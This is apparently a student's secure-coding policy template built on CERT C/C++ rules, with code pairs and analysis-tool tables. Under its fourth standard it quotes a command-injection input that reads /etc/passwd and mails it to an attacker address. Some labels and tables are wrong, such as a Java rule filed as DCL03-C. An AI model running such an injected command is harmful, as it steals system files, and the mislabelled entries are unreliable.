**Binaya Rimal: Security Policy Guide Template**



# Green Pace Secure Development Policy

## Contents

[Overview 2](#_Toc52464053)

[Purpose 2](#_Toc52464054)

[Scope 2](#_Toc52464055)

[Module Three Milestone 2](#_Toc52464056)

[Ten Core Security Principles 2](#_Toc52464057)

[C/C++ Ten Coding Standards 3](#_Toc52464058)

[Coding Standard 1 4](#_Toc52464059)

[Coding Standard 2 5](#_Toc52464060)

[Coding Standard 3 6](#_Toc52464061)

[Coding Standard 4 7](#_Toc52464062)

[Coding Standard 5 8](#_Toc52464063)

[Coding Standard 6 9](#_Toc52464064)

[Coding Standard 7 10](#_Toc52464065)

[Coding Standard 8 11](#_Toc52464066)

[Coding Standard 9 13](#_Toc52464067)

[Coding Standard 10 14](#_Toc52464068)

[Defense-in-Depth Illustration 15](#_Toc52464069)

[Project One 15](#_Toc52464070)

[1. Revise the C/C++ Standards 15](#_Toc52464071)

[2. Risk Assessment 15](#_Toc52464072)

[3. Automated Detection 15](#_Toc52464073)

[4. Automation 15](#_Toc52464074)

[5. Summary of Risk Assessments 16](#_Toc52464075)

[6. Create Policies for Encryption and Triple A 16](#_Toc52464076)

[7. Map the Principles 17](#_Toc52464077)

[Audit Controls and Management 18](#_Toc52464078)

[Enforcement 18](#_Toc52464079)

[Exceptions Process 18](#_Toc52464080)

[Distribution 19](#_Toc52464081)

[Policy Change Control 19](#_Toc52464082)

[Policy Version History 19](#_Toc52464083)

[Appendix A Lookups 19](#_Toc52464084)

[Approved C/C++ Language Acronyms 19](#_Toc52464085)

## Overview

Software development at Green Pace requires consistent implementation of secure principles to all developed applications. Consistent approaches and methodologies must be maintained through all policies that are uniformly defined, implemented, governed, and maintained over time.

## Purpose

This policy defines the core security principles; C/C++ coding standards; authorization, authentication, and auditing standards; and data encryption standards. This article explains the differences between policy, standards, principles, and practices (guidelines and procedure): [Understanding the Hierarchy of Principles, Policies, Standards, Procedures, and Guidelines](https://www.linkedin.com/pulse/understanding-hierarchy-principles-policies-standards-wally-beddoe/).

## Scope

This document applies to all staff that create, deploy, or support custom software at Green Pace.

## Module Three Milestone

### Ten Core Security Principles

| **Principles** | Write a short paragraph explaining each of the 10 principles of security. |
| --- | --- |
| 1. ValidateInput Data | Data should be validated from all untrusted data. Input validation removes majority of software vulnerabilities that could arise from sources such as command line arguments, network interfaces, environmental variables and user-controlled files. |
| 1. Heed Compiler Warnings | Code should be compiled using the highest level of warning that is available on the compiler. Static and Dynamic Analysis tools can detect and eliminate additional security flaws |
| 1. Architect and Design for Security Policies | Security should be a foundational aspect of system design. Proper security measures such as authentication, data encryption, firewalls, backup etc. should be carefully planned during the architect and design phase |
| 1. Keep It Simple | Design should strive to be simple, easy and small. Complex Design increases the likelihood of errors occurring in the various phases of development. |
| 1. Default Deny | Access should be denied unless explicitly granted. By default, access should be denied, and all protection measures should be up until verification with right authorization. |
| 1. Adhere to the Principle of Least Privilege | Every process should run with the lowest level of access needed to do its job. If higher permissions are required, they should only be used for the shortest time necessary. This helps prevent attackers from running harmful code with special privileges. |
| 1. Sanitize Data Sent to Other Systems | Sanitize all data before passing it to complex systems like command shells, databases, or COTS components. Attackers can exploit these through injection attacks, so the calling process must clean the data to prevent misuse. |
| 1. Practice Defense in Depth | Use multiple layers of defense to reduce risk. If one fails, another can prevent or limit damage. For example, combining secure coding with a secure runtime makes it harder for attackers to exploit vulnerabilities. |
| 1. Use Effective Quality Assurance Techniques | Strong quality assurance helps find and fix vulnerabilities. Use fuzz testing, penetration testing, and code audits. Independent security reviews add value by spotting issues from a fresh perspective. |
| 1. Adopt a Secure Coding Standard | Adopt a Secure coding standard ideal for your target coding language and platform. Make sure to understand common vulnerabilities in a particular coding language. |

### C/C++ Ten Coding Standards

Complete the coding standards portion of the template according to the Module Three milestone requirements. In Project One, follow the instructions to add a layer of security to the existing coding standards. Please start each standard on a new page, as they may take up more than one page. The first seven coding standards are labeled by category. The last three are blank so you may choose three additional standards. Be sure to label them by category and give them a sequential number for that category. Add compliant and noncompliant sections as needed to each coding standard.

#### Coding Standard 1

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Data Type** | STD-001-C  ([DCL12-C](https://wiki.sei.cmu.edu/confluence/display/c/DCL12-C.+Implement+abstract+data+types+using+opaque+types)  ) | **Implement abstract data types using opaque types.**  Abstract data types are not limited to object-oriented languages like C++ and Java; they can and should be implemented in C programs as well. Their effectiveness is maximized when combined with private (opaque) data types and information hiding. |

| **Noncompliant Code** |
| --- |
| In this example, the managed string type and the functions that operate on this type are defined in the string\_m.h header file as follows: |
| struct string\_mx {    size\_t size;    size\_t maxsize;    unsigned char strtype;    char \*cstr;  };    typedef struct string\_mx string\_mx;    /\* Function declarations \*/  extern errno\_t strcpy\_m(string\_mx \*s1, const string\_mx \*s2);  extern errno\_t strcat\_m(string\_mx \*s1, const string\_mx \*s2);  /\* ... \*/ |

| **Compliant Code** |
| --- |
| This code makes string\_mx a private type, concealing its implementation from users of the managed string library. The developer achieves this by creating two header files: a public string\_m.h for users and an internal file used only within the implementation of the managed string abstract data type. |
| struct string\_mx;  typedef struct string\_mx string\_mx;    /\* Function declarations \*/  extern errno\_t strcpy\_m(string\_mx \*s1, const string\_mx \*s2);  extern errno\_t strcat\_m(string\_mx \*s1, const string\_mx \*s2);  /\* ... \*/ |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Unlikely | High | **P1** | **L3** |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/c/Axivion+Bauhaus+Suite) | 7.2.0 | **CertC-DCL12** |  |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | **104 D** | Partially implemented |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2024b | [CERT C: Rec. DCL12-C](https://www.mathworks.com/help/bugfinder/ref/certcrec.dcl12c.html) | Checks for structure or union object implementation visible in file where pointer to this object is not dereferenced (rule partially covered) |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2024.2 | **CERT\_C-DCL12-a** | If a pointer to a structure or union is never dereferenced within a translation unit, then the implementation of the object should be hidden |

#### Coding Standard 2

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Data Value** | STD-002-C  ([FIO09-C](https://wiki.sei.cmu.edu/confluence/display/c/FIO09-C.+Be+careful+with+binary+data+when+transferring+data+across+systems)  ) | **Be careful with binary data when transferring data across systems**  Portability issues arise with fread() and fwrite() across different systems due to variations in data representation, such as structure padding, floating-point models, bit sizes, and endianness. These differences can lead to inconsistencies in reading and writing scalar and aggregate data types, making binary data formats incompatible. |

| **Noncompliant Code** |
| --- |
| This code defines a struct called myData that contains a char and a long. It then attempts to read the contents of the file into the data structure using the fread function. |
| struct myData {    char c;    long l;  };    /\* ... \*/    FILE \*file;  struct myData data;    /\* Initialize file \*/    if (fread(&data, sizeof(struct myData), 1, file) < sizeof(struct myData)) {    /\* Handle error \*/  } |

| **Compliant Code** |
| --- |
| Ideal solution uses text representation or a special library that ensures data integrity: |
| struct myData {    char c;    long l;  };    /\* ... \*/    FILE \*file;  struct myData data;  char buf[25];  char \*end\_ptr;    /\* Initialize file \*/    if (fgets(buf, 1, file) == NULL) {    /\* Handle error \*/  }    data.c = buf[0];    if (fgets(buf, sizeof(buf), file) == NULL) {    /\* Handle Error \*/  }    data.l = strtol(buf, &end\_ptr, 10);    if ((ERANGE == errno)   || (end\_ptr == buf)   || ('\n' != \*end\_ptr && '\0' != \*end\_ptr)) {      /\* Handle Error \*/  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** [Name the principle and explain how it maps to this standard.] |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| C | Medium | Probable | **High** | P4 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Compass/ROSE](https://wiki.sei.cmu.edu/confluence/display/c/Rose) |  |  | Could flag possible violations of this rule by noting any pointer to struct that is passed to fread(), as the noncompliant code example demonstrates |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | **44 S** | Enhanced Enforcement |

#### Coding Standard 3

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **String Correctness** | STD-003-CPP  ([STR51-CPP](https://wiki.sei.cmu.edu/confluence/display/cplusplus/STR51-CPP.+Do+not+attempt+to+create+a+std%3A%3Astring+from+a+null+pointer)) | **Do not attempt to create a std::string from a null pointer.**  The std::basic\_string type in C++ uses the traits design pattern to manage different string types with a shared implementation. It works with std::char\_traits to create specific string classes like std::string, std::wstring, std::u16string, and std::u32string. One important function, std::char\_traits::length(), is used to find the length of a null-terminated string, but passing a null pointer to it is undefined behavior because it would try to access memory that doesn’t exist. |

| **Noncompliant Code** |
| --- |
| In this noncompliant code example, a std::string is created using the result of std::getenv(), but since std::getenv() returns a null pointer on failure, it can cause undefined behavior if the environment variable is missing or an error occurs. |
| #include <cstdlib>  #include <string>    void f() {    std::string tmp(std::getenv("TMP"));    if (!tmp.empty()) {      // ...    }  } |

| **Compliant Code** |
| --- |
| The result of the std::getenv() call is checked for a null pointer before constructing the std::string object. |
| #include <cstdlib>  #include <string>    void f() {    const char \*tmpPtrVal = std::getenv("TMP");    std::string tmp(tmpPtrVal ? tmpPtrVal : "");    if (!tmp.empty()) {      // ...    }  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** [Name the principle and explain how it maps to this standard.] |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=222953724) | 22.10 | **assert\_failure** |  |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CodeSonar) | 9.0p0 | **LANG.MEM.NPD** | Null Pointer Dereference |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Helix+QAC) | 2024.4 | **DF4770, DF4771, DF4772, DF4773, DF4774** |  |
| [Klocwork](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Klocwork) | 2024.4 | **NPD.CHECK.CALL.MIGHT** **NPD.CHECK.CALL.MUST** **NPD.CHECK.MIGHT** **NPD.CHECK.MUST** **NPD.CONST.CALL** **NPD.CONST.DEREF** **NPD.FUNC.CALL.MIGHT** **NPD.FUNC.CALL.MUST** **NPD.FUNC.MIGHT** **NPD.FUNC.MUST** **NPD.GEN.CALL.MIGHT** **NPD.GEN.CALL.MUST** **NPD.GEN.MIGHT** **NPD.GEN.MUST** **RNPD.CALL** **RNPD.DEREF** |  |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2024.2 | **CERT\_CPP-STR51-a** | Avoid null pointer dereferencing |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2024b | [CERT C++: STR51-CPP](https://www.mathworks.com/help/bugfinder/ref/certcstr51cpp.html) | Checks for string operations on null pointer (rule partially covered). |

#### Coding Standard 4

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **SQL Injection** | STD-004-C  ([STR02-C](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)  ) | **Sanitize data passed to complex**  String data being to a system can contain special characters that can trigger commands or actions, resulting in breaches through Injections. |

| **Noncompliant Code** |
| --- |
| Here is an example of an application that inputs an email address to a buffer and then uses this string as an argument in a call to system() |
| sprintf(buffer, "/bin/mail %s < /tmp/email", addr);  system(buffer);  // potential email a hacker might use  bogus@addr.com; cat /etc/passwd  | mail some@badguy.net |

| **Compliant Code** |
| --- |
| The whitelisting approach to data sanitization is to define a list of acceptable characters and remove any character that is not acceptable. The list of valid input values is typically a predictable, well-defined set of manageable size. |
| static char ok\_chars[] = "abcdefghijklmnopqrstuvwxyz"                           "ABCDEFGHIJKLMNOPQRSTUVWXYZ"                           "1234567890\_-.@";  char user\_data[] = "Bad char 1:} Bad char 2:{";  char \*cp = user\_data; /\* Cursor into string \*/  const char \*end = user\_data + strlen( user\_data);  for (cp += strspn(cp, ok\_chars); cp != end; cp += strspn(cp, ok\_chars)) {    \*cp = '\_';  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** [Name the principle and explain how it maps to this standard.] |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | **P18** | **L1** |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152428) | 24.04 |  | Supported by stubbing/taint analysis |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 9.0p0 | **IO.INJ.COMMAND IO.INJ.FMT IO.INJ.LDAP IO.INJ.LIB IO.INJ.SQL IO.UT.LIB IO.UT.PROC** | Command injection Format string injection LDAP injection Library injection SQL injection Untrusted Library Load Untrusted Process Creation |
| [Coverity](https://wiki.sei.cmu.edu/confluence/display/c/Coverity) | 6.5 | **TAINTED\_STRING** | Fully implemented |
| [Klocwork](https://wiki.sei.cmu.edu/confluence/display/c/Klocwork) | 2024.4 | **NNTS.TAINTED** **SV.TAINTED.INJECTION** |  |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | **108 D, 109 D** | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2024.2 | **CERT\_C-STR02-a** **CERT\_C-STR02-b** **CERT\_C-STR02-c** | Protect against command injection Protect against file name injection Protect against SQL injection |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2024b | [CERT C: Rec. STR02-C](https://www.mathworks.com/help/bugfinder/ref/certcrec.str02c.html) | Checks for:   * Execution of externally controlled command * Command executed from externally controlled path * Library loaded from externally controlled path   Rec. partially covered. |

#### Coding Standard 5

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Memory Protection** | STD-005-C  ([MEM35-C](https://wiki.sei.cmu.edu/confluence/display/c/MEM35-C.+Allocate+sufficient+memory+for+an+object)) | **Allocate Sufficient memory for an object**  The memory to allocate is based on the size of the object type. For arrays, the size of the object is multiplied by the number of elements in the array. For structures with a flexible array member, the size of the array member is added to the size of the structure. |

| **Noncompliant Code** |
| --- |
| Inadequate space is allocated for a struct tm object because the size of the pointer is being used to determine the size of the pointed-to object: |
| #include <stdlib.h>  #include <time.h>    struct tm \*make\_tm(int year, int mon, int day, int hour,                     int min, int sec) {    struct tm \*tmb;    tmb = (struct tm \*)malloc(sizeof(tmb));    if (tmb == NULL) {      return NULL;    }    \*tmb = (struct tm) {      .tm\_sec = sec, .tm\_min = min, .tm\_hour = hour,      .tm\_mday = day, .tm\_mon = mon, .tm\_year = year    };    return tmb;  } |

| **Compliant Code** |
| --- |
| In this compliant solution, the right amount of memory is allocated for the struct tm object. When allocating  space for a single object, one way to allocate memory is by passing the (dereferenced) pointer type to the sizeof operator. |
| #include <stdlib.h>  #include <time.h>    struct tm \*make\_tm(int year, int mon, int day, int hour,                     int min, int sec) {    struct tm \*tmb;    tmb = (struct tm \*)malloc(sizeof(\*tmb));    if (tmb == NULL) {      return NULL;    }    \*tmb = (struct tm) {      .tm\_sec = sec, .tm\_min = min, .tm\_hour = hour,      .tm\_mday = day, .tm\_mon = mon, .tm\_year = year    };    return tmb;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** [Name the principle and explain how it maps to this standard.] |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Probable | High | P6 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152428) | 24.04 | **malloc-size-insufficient** | Partially checked  Besides direct rule violations, all undefined behaviour resulting from invalid memory accesses is reported by Astrée. |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=125337650) | 7.2.0 | **CertC-MEM35** |  |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 9.0p0 | **ALLOC.SIZE.ADDOFLOW ALLOC.SIZE.IOFLOW ALLOC.SIZE.MULOFLOW ALLOC.SIZE.SUBUFLOW ALLOC.SIZE.TRUNC IO.TAINT.SIZE MISC.MEM.SIZE.BAD LANG.MEM.BO LANG.MEM.BU LANG.STRUCT.PARITH LANG.STRUCT.PBB LANG.STRUCT.PPE LANG.MEM.TBA LANG.MEM.TO LANG.MEM.TU** | Addition overflow of allocation size Addition overflow of allocation size Multiplication overflow of allocation size Subtraction underflow of allocation size Truncation of allocation size Tainted allocation size Unreasonable size argument Buffer Overrun Buffer Underrun Pointer Arithmetic Pointer Before Beginning of Object Pointer Past End of Object Tainted Buffer Access Type Overrun Type Underrun |
| [Compass/ROSE](https://wiki.sei.cmu.edu/confluence/display/c/Rose) |  |  | Could check violations of this rule by examining the size expression to malloc() or memcpy() functions. Specifically, the size argument should be bounded by 0, SIZE\_MAX, and, unless it is a variable of type size\_t or rsize\_t, it should be bounds-checked before the malloc() call. If the argument is of the expression a\*b, then an appropriate check is   |  | | --- | | **if** (a < SIZE\_MAX / b && a > 0) ... | |
| [Coverity](https://wiki.sei.cmu.edu/confluence/display/c/Coverity) | 2017.07 | **BAD\_ALLOC\_STRLEN**  **SIZECHECK (deprecated)** | Partially implemented  Can find instances where string length is miscalculated (length calculated may be one less than intended) for memory allocation purposes. Coverity Prevent cannot discover all violations of this rule, so further verification is necessary  Finds memory allocations that are assigned to a pointer that reference objects larger than the allocated block |
| [Cppcheck Premium](https://wiki.sei.cmu.edu/confluence/display/c/Cppcheck+Premium) | 24.11.0 | **premium-cert-mem35-c** |  |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/c/Helix+QAC) | 2024.4 | **C0696, C0701, C1069, C1071, C1073, C2840**  **DF2840, DF2841, DF2842, DF2843, DF2935, DF2936, DF2937, DF2938** |  |
| [Klocwork](https://wiki.sei.cmu.edu/confluence/display/c/Klocwork) | 2024.4 | **INCORRECT.ALLOC\_SIZE** **SV.TAINTED.ALLOC\_SIZE** |  |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | **400 S, 487 S, 115 D** | Enhanced enforcement |
| [Splint](https://wiki.sei.cmu.edu/confluence/display/c/Splint) | 3.1.1 |  |  |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2024.2 | **CERT\_C-MEM35-a** | Do not use sizeof operator on pointer type to specify the size of the memory to be allocated via 'malloc', 'calloc' or 'realloc' function |
| [PC-lint Plus](https://wiki.sei.cmu.edu/confluence/display/c/PC-lint+Plus) | 1.4 | **433, 826** | Partially supported |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2024b | [CERT C: Rule MEM35-C](https://www.mathworks.com/help/bugfinder/ref/certcrulemem35c.html) | Checks for:   * Pointer access out of bounds * Memory allocation with tainted size   Rule partially covered. |
| [PVS-Studio](https://wiki.sei.cmu.edu/confluence/display/c/PVS-Studio) | 7.35 | [**V531**](https://pvs-studio.com/en/docs/warnings/v531/), [**V635**](https://pvs-studio.com/en/docs/warnings/v635/), [**V781**](https://pvs-studio.com/en/docs/warnings/v781/) |  |
| [RuleChecker](https://wiki.sei.cmu.edu/confluence/display/c/RuleChecker) | 24.04 | **malloc-size-insufficient** | Partially checked |
| [TrustInSoft Analyzer](https://wiki.sei.cmu.edu/confluence/display/c/TrustInSoft+Analyzer) | 1.38 | **mem\_access** | Exhaustively detects undefined behavior (see [one compliant and one non-compliant example](https://taas.trust-in-soft.com/tsnippet/t/77590559)). |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152428) | 24.04 | **malloc-size-insufficient** | Partially checked  Besides direct rule violations, all undefined behaviour resulting from invalid memory accesses is reported by Astrée. |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=125337650) | 7.2.0 | **CertC-MEM35** |  |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 9.0p0 | **ALLOC.SIZE.ADDOFLOW ALLOC.SIZE.IOFLOW ALLOC.SIZE.MULOFLOW ALLOC.SIZE.SUBUFLOW ALLOC.SIZE.TRUNC IO.TAINT.SIZE MISC.MEM.SIZE.BAD LANG.MEM.BO LANG.MEM.BU LANG.STRUCT.PARITH LANG.STRUCT.PBB LANG.STRUCT.PPE LANG.MEM.TBA LANG.MEM.TO LANG.MEM.TU** | Addition overflow of allocation size Addition overflow of allocation size Multiplication overflow of allocation size Subtraction underflow of allocation size Truncation of allocation size Tainted allocation size Unreasonable size argument Buffer Overrun Buffer Underrun Pointer Arithmetic Pointer Before Beginning of Object Pointer Past End of Object Tainted Buffer Access Type Overrun Type Underrun |
| [Compass/ROSE](https://wiki.sei.cmu.edu/confluence/display/c/Rose) |  |  | Could check violations of this rule by examining the size expression to malloc() or memcpy() functions. Specifically, the size argument should be bounded by 0, SIZE\_MAX, and, unless it is a variable of type size\_t or rsize\_t, it should be bounds-checked before the malloc() call. If the argument is of the expression a\*b, then an appropriate check is   |  | | --- | | **if** (a < SIZE\_MAX / b && a > 0) ... | |

#### Coding Standard 6

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Assertions** | STD-06-C  ([DCL03-C](https://wiki.sei.cmu.edu/confluence/display/c/DCL03-C.+Use+a+static+assertion+to+test+the+value+of+a+constant+expression)  ) | **Expressions used in assertions must not produce side effects**  The assert statement is a useful tool for adding diagnostic tests in code. It checks the expression when enabled, throwing an AssertionError if the expression is false, but does nothing when disabled, so any side effects from the expression are ignored. Therefore, expressions used with assert should not have side effects. |

| **Noncompliant Code** |
| --- |
| This code tries to delete all null names from the list within an assertion. However, the Boolean expression is not evaluated if assertions are disabled. |
| private ArrayList<String> names;    void process(int index) {    assert names.remove(null); // Side effect    // ...  } |

| **Compliant Code** |
| --- |
| This code avoids side effects in assertion by decoupling the Boolean expression from the assertion: |
| private ArrayList<String> names;    void process(int index) {    boolean nullsRemoved = names.remove(null);    assert nullsRemoved; // No side effect    // ...  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** [Name the principle and explain how it maps to this standard.] |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Unlikely | Low | **P3** | **L3** |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/java/CodeSonar) | 9.0p0 | **JAVA.STRUCT.SE.ASSERT** | Assertion contains side effects |
| [Parasoft Jtest](https://wiki.sei.cmu.edu/confluence/display/java/Parasoft) | 2024.2 | **CERT.EXP06.EASE** | Expressions used in assertions must not produce side effects |
| [PVS-Studio](https://wiki.sei.cmu.edu/confluence/display/java/PVS-Studio) | 7.35 | [**V6055**](https://pvs-studio.com/en/docs/warnings/v6055/) |  |
| [SonarQube](https://wiki.sei.cmu.edu/confluence/display/java/SonarQube) | 9.9 | [**S3346**](https://rules.sonarsource.com/java/RSPEC-3346) | [**Expressions used in "assert" should not produce side effects**](https://rules.sonarsource.com/java/RSPEC-3346) |

#### Coding Standard 7

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Exceptions** | STD-007-CPP  ([ERR51-CPP](https://wiki.sei.cmu.edu/confluence/display/cplusplus/ERR51-CPP.+Handle+all+exceptions)) | **Handle all exceptions**  If exception is thrown, control is passed to the nearest handler that matches the exception type. If no matching handler is found within the current try block, the search continues dynamically through the surrounding try blocks in the same thread. |

| **Noncompliant Code** |
| --- |
| In the code below, f() and main() both do not catch exceptions thrown by throwing\_func(). No matching handler can be found for the exception thrown, std::terminate() is called. |
| void throwing\_func() noexcept(false);    void f() {    throwing\_func();  }    int main() {    f();  } |

| **Compliant Code** |
| --- |
| The main entry point handles all exceptions, ensuring the stack is unwound to the main() function and enabling proper management of external resources. |
| void throwing\_func() noexcept(false);    void f() {    throwing\_func();  }    int main() {    try {      f();    } catch (...) {      // Handle error    }  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** [Name the principle and explain how it maps to this standard.] |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Probable | Medium | P4 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=222953724) | 22.10 | **main-function-catch-all early-catch-all** | Partially checked |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Axivion+Bauhaus+Suite) | 7.2.0 | **CertC++-ERR51** |  |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CodeSonar) | 9.0p0 | **LANG.STRUCT.UCTCH** | Unreachable Catch |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Helix+QAC) | 2024.4 | **C++4035, C++4036, C++4037** |  |
| [Klocwork](https://www.securecoding.cert.org/confluence/display/cplusplus/Klocwork) | 2024.4 | **MISRA.CATCH.ALL** |  |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/LDRA) | 9.7.1 | **527 S** | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2024.2 | **CERT\_CPP-ERR51-a** **CERT\_CPP-ERR51-b** | Always catch exceptions Each exception explicitly thrown in the code shall have a handler of a compatible type in all call paths that could lead to that point |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2024b | [CERT C++: ERR51-CPP](https://www.mathworks.com/help/bugfinder/ref/certcerr51cpp.html) | Checks for unhandled exceptions (rule partially covered) |
| [RuleChecker](https://wiki.sei.cmu.edu/confluence/display/cplusplus/RuleChecker) | 22.10 | **main-function-catch-all early-catch-all** | Partially checked |

#### Coding Standard 8

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| Input Output | STD-008-CPP  ([FIO51-CPP](https://wiki.sei.cmu.edu/confluence/display/cplusplus/FIO51-CPP.+Close+files+when+they+are+no+longer+needed)  ) | **Close files when they are no longer needed**  Callingstd::basic\_filebuf<T>::open() function must be followed by a call to std::basic\_filebuf<T>::close() before the last pointer holding the return value of the call expires or before the program terminates, whichever comes first. |

| **Noncompliant Code** |
| --- |
| An std::fstream object file is created, and its constructor calls std::basic\_filebuf<T>::open(). Since std::terminate() uses std::abort(), which does not call destructors, the std::basic\_filebuf<T> object underlying the fstream is not properly closed. |
| #include <exception>  #include <fstream>  #include <string>    void f(const std::string &fileName) {    std::fstream file(fileName);    if (!file.is\_open()) {      // Handle error      return;    }    // ...    std::terminate();  } |

| **Compliant Code** |
| --- |
| In the compliant code, an  std::fstream::close() is called before std::terminate() is called, this ensures that the files are closed. |
| #include <exception>  #include <fstream>  #include <string>    void f(const std::string &fileName) {    std::fstream file(fileName);    if (!file.is\_open()) {      // Handle error      return;    }    // ...    file.close();    if (file.fail()) {      // Handle error    }    std::terminate();  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** [Name the principle and explain how it maps to this standard.] |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Medium | Unlikely | Medium | **P4** | **L3** |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CodeSonar) | 9.0p0 | **ALLOC.LEAK** | Leak |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Helix+QAC) | 2024.4 | **DF4786, DF4787, DF4788** |  |
| [Klocwork](https://www.securecoding.cert.org/confluence/display/cplusplus/Klocwork) | 2024.4 | **RH.LEAK** |  |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2024.2 | **CERT\_CPP-FIO51-a** | Ensure resources are freed |
| [Parasoft Insure++](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) |  |  | Runtime detection |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2024b | [CERT C++: FIO51-CPP](https://www.mathworks.com/help/bugfinder/ref/certcfio51cpp.html) | Checks for resource leak (rule partially covered) |

#### Coding Standard 9

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
